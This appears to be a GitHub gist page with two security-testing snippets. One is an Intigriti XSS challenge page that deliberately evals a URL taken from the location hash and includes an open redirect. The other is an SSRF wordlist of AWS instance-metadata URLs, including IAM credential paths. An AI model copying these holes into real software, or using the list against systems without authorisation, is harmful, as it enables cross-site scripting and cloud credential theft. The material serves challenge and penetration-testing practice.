Skip to content

Instantly share code, notes, and snippets.

View BombekeQuinten's full-sized avatar

Quinten Bombeke BombekeQuinten

View GitHub Profile
@BombekeQuinten
BombekeQuinten / challenge.html
Last active May 6, 2019 09:10
Intigriti XSS Challenge
<script>
const url = new URL(decodeURIComponent(document.location.hash.substr(1))).href.replace(/script|<|>/gi, "forbidden");
const iframe = document.createElement("iframe"); iframe.src = url; document.body.appendChild(iframe);
iframe.onload = function(){ window.addEventListener("message", executeCtx, false);}
function executeCtx(e) {
if(e.source == iframe.contentWindow){
e.data.location = window.location;
Object.assign(window, e.data);
eval(url);
}
function isValid(url) {
return /^http(s)?:\/\/[0-9a-z.-]+\.security.com$/gi.test(url);
}
var url = window.location.hash.substr(1);
if (isValid(url)) {
window.location = url;
}
@BombekeQuinten
BombekeQuinten / cloud_metadata.txt
Created April 16, 2019 19:37 — forked from jhaddix/cloud_metadata.txt
Cloud Metadata Dictionary useful for SSRF Testing
## AWS
# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key